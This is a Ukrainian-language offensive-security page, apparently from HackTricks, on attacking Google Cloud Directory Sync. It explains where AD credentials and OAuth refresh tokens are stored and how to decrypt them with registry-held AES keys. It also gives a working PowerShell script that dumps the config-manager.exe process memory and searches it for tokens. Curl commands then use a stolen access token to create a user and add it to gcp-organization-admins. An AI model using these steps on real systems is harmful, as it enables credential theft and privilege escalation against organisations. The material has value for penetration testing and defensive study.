Це інструмент, який можна використовувати для синхронізації ваших користувачів та груп активного каталогу з вашим Workspace (а не навпаки на момент написання цього тексту).
Це цікаво, оскільки це інструмент, який вимагатиме облікові дані суперкористувача Workspace та привілейованого користувача AD. Тому, можливо, його можна знайти на сервері домену, який час від часу синхронізує користувачів.
Щоб виконати MitM для config-manager.exe бінарного файлу, просто додайте наступний рядок у файл config.manager.vmoptions: -Dcom.sun.net.ssl.checkRevocation=false
Зверніть увагу, що Winpeas здатний виявити GCDS, отримати інформацію про конфігурацію та навіть паролі та зашифровані облікові дані.
Також зверніть увагу, що GCDS не синхронізує паролі з AD до Workspace. Якщо щось, він просто генеруватиме випадкові паролі для новостворених користувачів у Workspace, як ви можете бачити на наступному зображенні:
GCDS - Disk Tokens & AD Credentials
Бінарний файл config-manager.exe (основний бінарний файл GCDS з GUI) зберігатиме налаштовані облікові дані Active Directory, токен оновлення та доступ за замовчуванням у xml файлі в папці C:\Program Files\Google Cloud Directory Sync у файлі під назвою Untitled-1.xml за замовчуванням. Хоча його також можна зберегти в Documents користувача або в будь-якій іншій папці.
Більше того, реєстр HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui всередині ключа open.recent містить шляхи до всіх нещодавно відкритих конфігураційних файлів (xml). Тому можливо перевірити це, щоб знайти їх.
Зверніть увагу, як refreshtoken та password користувача шифруються за допомогою AES CBC з випадково згенерованим ключем та IV, які зберігаються в HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (де б не зберігала бібліотека prefs Java налаштування) у рядкових ключах /Encryption/Policy/V2.iv та /Encryption/Policy/V2.key, збережених у base64.
Powershell скрипт для розшифровки refresh token та пароля
</details>
<div data-gb-custom-block data-tag="hint" data-style='info'>
Зверніть увагу, що цю інформацію можна перевірити, переглянувши java-код **`DirSync.jar`** з **`C:\Program Files\Google Cloud Directory Sync`**, шукаючи рядок `exportkeys` (оскільки це параметр cli, який бінарний файл `upgrade-config.exe` очікує для виведення ключів).
</div>
Замість використання скрипта PowerShell, також можна використовувати бінарний файл **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** з параметром `-exportKeys` і отримати **Key** та **IV** з реєстру в шістнадцятковому форматі, а потім просто використати CyberChef з AES/CBC та цим ключем і IV для розшифровки інформації.
### GCDS - Виведення токенів з пам'яті
Так само, як і з GCPW, можливо вивести пам'ять процесу `config-manager.exe` (це назва основного бінарного файлу GCDS з GUI), і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).\
Гадаю, ви також могли б знайти налаштовані облікові дані AD.
<details>
<summary>Виведення процесів config-manager.exe та пошук токенів</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
GCDS - Генерація токенів доступу з токенів оновлення
Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
Зверніть увагу, що навіть маючи refresh token, неможливо запитати жоден scope для access token, оскільки ви можете запитувати лише scopes, підтримувані додатком, в якому ви генеруєте access token.
Також refresh token не є дійсним у кожному додатку.
За замовчуванням GCSD не матиме доступу як користувач до кожного можливого OAuth scope, тому, використовуючи наступний скрипт, ми можемо знайти scopes, які можна використовувати з refresh_token для генерації access_token:
#### Створіть користувача та додайте його до групи `gcp-organization-admins`, щоб спробувати ескалувати привілеї в GCP
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
Неможливо надати новому користувачу роль Super Amin, оскільки токен оновлення не має достатньо обсягів для надання необхідних привілеїв.